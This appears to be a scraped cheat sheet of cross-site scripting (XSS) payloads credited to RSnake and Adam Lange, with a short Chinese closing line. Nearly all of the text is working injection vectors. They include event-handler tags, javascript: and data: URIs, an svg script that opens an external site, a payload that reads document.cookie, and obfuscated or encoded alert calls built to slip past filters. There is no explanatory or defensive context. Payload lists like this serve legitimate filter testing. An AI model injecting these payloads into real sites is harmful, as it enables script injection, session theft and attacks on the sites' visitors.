<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)"> <Input value = "XSS" type = text> <applet code="javascript:confirm(document.cookie);"> <isindex x="javascript:" onmouseover="alert(XSS)"> "></SCRIPT>」>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> "><img src="x:x" onerror="alert(XSS)"> "><iframe src="javascript:alert(XSS)"> <object data="javascript:alert(XSS)"> <isindex type=image src=1 onerror=alert(XSS)> <img src=x:alert(alt) onerror=eval(src) alt=0> <img src="x:gif" onerror="window['al\u0065rt'](0)"></img> <iframe/src="data:text/html,<svg onload=alert(1)>"> <meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/> <svg><script xlink:href=data:,window.open('https://www.google.com/')></script <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <iframe src=javascript:alert(document.location)> <form><a href="javascript:\u0061lert(1)">X </script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'> <style>//*{x:expression(alert(/xss/))}//<style></style> On Mouse Over <img src="/" =_=" title="onerror='prompt(1)'"> <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe <script x> alert(1) </script 1=2 <form><button formaction=javascript:alert(1)>CLICKME <input/onmouseover="javaSCRIPT:confirm(1)" <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe> |
(alert)(1)
a=alert,a(1) [1].find(alert) top[「al」+」ert」](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) top[‘al\145rt’](1) top[‘al\x65rt’](1) top[8680439..toString(30)](1) |
Robert "RSnake" Hansen
Adam Lange
就不同介紹了,詳情請訪問